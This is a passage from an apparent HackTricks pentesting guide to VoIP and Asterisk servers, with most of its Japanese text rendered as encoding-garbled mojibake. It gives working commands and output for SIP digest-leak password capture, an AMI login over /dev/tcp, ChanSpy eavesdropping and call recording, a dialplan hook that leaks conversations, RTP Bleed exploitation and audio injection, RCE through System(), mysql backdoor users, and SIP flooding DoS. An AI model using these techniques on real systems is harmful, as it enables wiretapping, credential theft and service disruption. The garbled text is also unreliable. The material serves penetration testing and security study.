- IPé»è©±ïŒè¢«å®³è ïŒã¯ä»»æã®ããŒãïŒäŸïŒ5060ïŒã§é»è©±ãåãä»ããŠããŸã
- æ»æè ã¯IPé»è©±ã«INVITEãéä¿¡ããŸã
- 被害è ã®é»è©±ã鳎ãã誰ããé»è©±ãåããããã«åããŸãïŒçžæãå¿çããªãããïŒ
- é»è©±ãåããããšã被害è ã®é»è©±ã¯æ»æè ã«BYEãéä¿¡ããŸã
- æ»æè ã¯407å¿çãçºè¡ããèªèšŒãèŠæ±ããèªèšŒãã£ã¬ã³ãžãçºè¡ããŸã
- 被害è ã®é»è©±ã¯2åç®ã®BYEã§èªèšŒãã£ã¬ã³ãžã«å¯Ÿããå¿çãæäŸããŸã
- æ»æè ã¯ããŒã«ã«ãã·ã³ïŒãŸãã¯åæ£ãããã¯ãŒã¯ãªã©ïŒã§ãã£ã¬ã³ãžå¿çã«å¯ŸããŠãã«ãŒããã©ãŒã¹æ»æãå®è¡ãããã¹ã¯ãŒããæšæž¬ã§ããŸã
- SIPPTSæŒæŽ©ã¯sipptsãã: SIPPTSæŒæŽ©ã¯ãå€ãã®SIPé»è©±ã«åœ±é¿ãäžããSIP Digest Leakè匱æ§ãæªçšããŸããåºåã¯SipCrack圢åŒã§ä¿åã§ããSIPPTS dcrackãŸãã¯SipCrackããŒã«ã䜿çšããŠãã«ãŒããã©ãŒã¹æ»æã§ããŸãã
sippts leak -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Callã¯ããŠã§ããŠãŒã¶ãŒïŒäŸãã°ã補åã«èå³ããããããããªãïŒãé»è©±çªå·ãå ¥åããŠåŒã³åºãããããšãå¯èœã«ããŸãã次ã«ãåæ¥çšã®é»è©±ããããã圌ãé»è©±ã«åºããšããŠãŒã¶ãŒã¯ãšãŒãžã§ã³ããšæ¥ç¶ãããŠåŒã³åºãããŸãã
ããã«äžè¬çãªAsteriskãããã¡ã€ã«ã¯æ¬¡ã®ãšããã§ãïŒ
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- åã®ãããã¡ã€ã«ã¯ ä»»æã®IPã¢ãã¬ã¹ãæ¥ç¶ããããšãèš±å¯ããŠããŸãïŒãã¹ã¯ãŒããç¥ãããŠããå ŽåïŒã
- åè¿°ã®ããã« é話ãçµç¹ããããã«ã¯ãèªã¿åãæš©éã¯å¿ èŠãªããæžã蟌ã¿ã® çºä¿¡ã®ã¿ãå¿ èŠã§ãã
ãããã®æš©éãããã°ããã¹ã¯ãŒããç¥ã£ãŠããä»»æã®IPãæ¥ç¶ããéå°ãªæ å ±ãæœåºããããšãã§ããŸãã
{% code overflow="wrap" %}
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
ãããªãæ å ±ãã¢ã¯ã·ã§ã³ãèŠæ±ãããå ŽåããããŸãã
çèŽ
Asteriskã§ã¯ãChanSpy
ã³ãã³ãã䜿çšããŠãç£èŠããå
ç·ïŒãŸãã¯ãã¹ãŠã®å
ç·ïŒãæå®ããããšã§ãè¡ãããŠããäŒè©±ãèãããšãã§ããŸãããã®ã³ãã³ãã¯å
ç·ã«å²ãåœãŠãå¿
èŠããããŸãã
äŸãã°ãexten => 333,1,ChanSpy('all',qb)
ã¯ãå
ç· 333 ã«é»è©±ãããããšãall
ã®å
ç·ãç£èŠããæ°ããäŒè©±ãå§ãŸããšãã«èãå§ãïŒb
ïŒãéããªã¢ãŒãïŒq
ïŒã§èãããšã瀺ããŸããç§ãã¡ã¯ããã«å¯ŸããŠã€ã³ã¿ã©ã¯ãããããªãããã§ãã*
ãæŒãããå
ç·çªå·ãå
¥åããããšã§ãè¡ãããŠããäŒè©±ããå¥ã®äŒè©±ã«ç§»åããããšãã§ããŸãã
ç¹å®ã®å
ç·ã®ã¿ãç£èŠããããã«ãExtenSpy
ã䜿çšããããšãå¯èœã§ãã
äŒè©±ãèã代ããã«ã次ã®ãããªå ç·ã䜿çšããŠãã¡ã€ã«ã«é²é³ããããšãã§ããŸãïŒ
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
é話㯠/tmp
ã«ä¿åãããŸãã
Asterisk ã« é話ãæŒæŽ©ãããã¹ã¯ãªãããå®è¡ããã ããšãã§ããŸãã
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed è匱æ§
RTCPBleed ã¯ãAsterisk ããŒã¹ã® VoIP ãµãŒããŒã«åœ±é¿ãäžããé倧ãªã»ãã¥ãªãã£åé¡ã§ãïŒ2017幎ã«å ¬éïŒããã®è匱æ§ã«ãããVoIP äŒè©±ãé㶠RTP (ãªã¢ã«ã¿ã€ã ãããã³ã«) ãã©ãã£ã㯠ã ã€ã³ã¿ãŒãããäžã®èª°ã§ãååããããªãã€ã¬ã¯ãããã å¯èœæ§ããããŸããããã¯ãRTP ãã©ãã£ãã¯ã NAT (ãããã¯ãŒã¯ã¢ãã¬ã¹å€æ) ãã¡ã€ã¢ãŠã©ãŒã«ãééããéã«èªèšŒããã€ãã¹ããããã«çºçããŸãã
RTP ãããã·ã¯ã2 ã€ä»¥äžã®åœäºè é㧠RTP ã¹ããªãŒã ããããã·ããããšã«ãã£ãŠ RTC ã·ã¹ãã ã«åœ±é¿ãäžãã NAT ã®å¶é ã«å¯ŸåŠããããšããŸããNAT ãååšããå ŽåãRTP ãããã·ãœãããŠã§ã¢ã¯ãã·ã°ããªã³ã°ïŒäŸïŒSIPïŒãéããŠååŸãã RTP IP ããã³ããŒãæ å ±ã«äŸåã§ããªãããšããããããŸãããããã£ãŠãããã€ãã® RTP ãããã·ã¯ããã®ãã㪠IP ããã³ããŒãã®ã¿ãã«ãèªåçã«åŠç¿ãã ã¡ã«ããºã ãå®è£ ããŠããŸããããã¯ãåä¿¡ãã RTP ãã©ãã£ãã¯ãæ€æ»ããåä¿¡ãã RTP ãã©ãã£ãã¯ã®ãœãŒã¹ IP ããã³ããŒããå¿çãã¹ããã®ãšããŠããŒã¯ããããšã«ãã£ãŠè¡ãããŸãããã®ã¡ã«ããºã ã¯ãåŠç¿ã¢ãŒãããšåŒã°ããããšãããããããªãçš®é¡ã®èªèšŒã䜿çšããŸããããããã£ãŠãæ»æè 㯠RTP ãã©ãã£ãã¯ã RTP ãããã·ã«éä¿¡ããé²è¡äžã® RTP ã¹ããªãŒã ã®çºä¿¡è ãŸãã¯åä¿¡è åãã«éä¿¡ãããã¹ããããã·ããã RTP ãã©ãã£ãã¯ãåãåã ããšãã§ããŸãããã®è匱æ§ã RTP Bleed ãšåŒã¶ã®ã¯ãæ»æè ãæ£åœãªãŠãŒã¶ãŒã«éä¿¡ãããã¹ã RTP ã¡ãã£ã¢ã¹ããªãŒã ãåãåãããšãå¯èœã«ããããã§ãã
RTP ãããã·ããã³ RTP ã¹ã¿ãã¯ã®ããäžã€ã®èå³æ·±ãæåã¯ãRTP Bleed ã«å¯ŸããŠè匱ã§ãªãå Žåã§ããä»»æã®ãœãŒã¹ããã® RTP ãã±ãããåãå ¥ãã転éããã³/ãŸãã¯åŠçãã ããšã§ãããããã£ãŠãæ»æè ã¯æ£åœãªã¡ãã£ã¢ã®ä»£ããã«èªåã®ã¡ãã£ã¢ãæ³šå ¥ããããšãå¯èœã«ãã RTP ãã±ãããéä¿¡ã§ããŸãããã®æ»æã RTP æ³šå ¥ãšåŒã¶ã®ã¯ãæ¢åã® RTP ã¹ããªãŒã ã«äžæ£ãª RTP ãã±ãããæ³šå ¥ããããšãå¯èœã«ããããã§ãããã®è匱æ§ã¯ãRTP ãããã·ãšãšã³ããã€ã³ãã®äž¡æ¹ã§èŠã€ããå¯èœæ§ããããŸãã
Asterisk ãš FreePBX ã¯ãRTP ãã©ãã£ãã¯ãèªèšŒããã€ãã¹ã§ãã NAT=yes
èšå® ãäŒçµ±çã«äœ¿çšããŠãããããã«ããé話ã§é³å£°ããªãããäžæ¹åã®é³å£°ã«ãªãå¯èœæ§ããããŸãã
詳现ã«ã€ããŠã¯ https://www.rtpbleed.com/ ã確èªããŠãã ããã
SIPPTS rtpbleed
from sippts: SIPPTS rtpbleed ã¯ãRTP ã¹ããªãŒã ãéä¿¡ããããšã«ãã£ãŠ RTP Bleed è匱æ§ãæ€åºããŸãã
sippts rtpbleed -i 10.10.0.10
SIPPTS rtcpbleed
from sippts: SIPPTS rtcpbleedã¯ãRTCPã¹ããªãŒã ãéä¿¡ããããšã§RTP Bleedè匱æ§ãæ€åºããŸãã
sippts rtcpbleed -i 10.10.0.10
SIPPTS rtpbleedflood
from sippts: SIPPTS rtpbleedfloodã¯ãRTPã¹ããªãŒã ãéä¿¡ããããšã§RTP Bleedè匱æ§ãæªçšããŸãã
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
SIPPTS rtpbleedinject
from sippts: SIPPTS rtpbleedinjectã¯ãé³å£°ãã¡ã€ã«ïŒWAV圢åŒïŒãæ³šå ¥ããŠRTP Bleedè匱æ§ãæªçšããŸãã
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
RCE
Asteriskã§ã¯ãæ¡åŒµã«ãŒã«ãè¿œå ããŠåèªã¿èŸŒã¿ããããšãã§ããæ¹æ³ãããïŒäŸãã°ãè匱ãªãŠã§ããããŒãžã£ãŒãµãŒããŒã䟵害ããããšã«ãã£ãŠïŒã**System
**ã³ãã³ãã䜿çšããŠRCEãååŸããããšãå¯èœã§ãã
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
There is command called Shell
that could be used instead of System
to execute system commands if necessary.
{% hint style="warning" %}
If the server is ç¹å®ã®æåã®äœ¿çšãçŠæ¢ããŠãã in the System
command (like in Elastix), check if the web server allows to ã·ã¹ãã å
ã«ãã¡ã€ã«ãäœæãã (like in Elastix or trixbox), and use it to ããã¯ãã¢ã¹ã¯ãªãããäœæ and then use System
to å®è¡ that ã¹ã¯ãªãã.
{% endhint %}
Interesting local files and permissions
sip.conf
-> Contains the password of SIP users.- If the Asterisk server is running as root, you could compromise root
- mysql root user might ãã¹ã¯ãŒãããªã.
- this could be used to create a new mysql user as backdoor
FreePBX
amportal.conf
-> Contains the password of the web panel administrator (FreePBX)FreePBX.conf
-> Constains the password of the user FreePBXuser used to access the database- this could be used to create a new mysql user as backdoor
Elastix
Elastix.conf
-> Contains several passwords in clear text like mysql root pass, IMAPd pass, web admin pass- Several folders will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed.
RTP Injection
It's possible to insert a .wav
in converstions using tools such as rtpinsertsound
(sudo apt install rtpinsertsound
) and rtpmixsound
(sudo apt install rtpmixsound
).
Or you could use the scripts from http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ to äŒè©±ãã¹ãã£ã³ (rtpscan.pl
), send a .wav
to a conversation (rtpsend.pl
) and ãã€ãºãæ¿å
¥ in a conversation (rtpflood.pl
).
DoS
There are several ways to try to achieve DoS in VoIP servers.
SIPPTS flood
from sippts**: SIPPTS flood sends unlimited messages to the target.sippts flood -i 10.10.0.10 -m invite -v
SIPPTS ping
from sippts**: SIPPTS ping makes a SIP ping to see the server response time.sippts ping -i 10.10.0.10
- IAXFlooder: DoS IAX protocol used by Asterisk
- inviteflood: A tool to perform SIP/SDP INVITE message flooding over UDP/IP.
- rtpflood: Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first).
- SIPp: Allows to analyze and generate SIP traffic. so it can be used to DoS also.
- SIPsak: SIP swiss army knife. Can also be used to perform SIP attacks.
- Fuzzers: protos-sip, voiper.
OS Vulnerabilities
The easiest way to install a software such as Asterisk is to download an OS distribution that has it already installed, such as: FreePBX, Elastix, Trixbox... The problem with those is that once it's working sysadmins might å床æŽæ°ããªã and èåŒ±æ§ are going to be discovered with time.
References
- https://github.com/Pepelux/sippts/wiki
- https://github.com/EnableSecurity/sipvicious
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Get a hacker's perspective on your web apps, network, and cloud
Find and report critical, exploitable vulnerabilities with real business impact. Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Support HackTricks
- Check the subscription plans!
- Join the ð¬ Discord group or the telegram group or follow us on Twitter ðŠ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.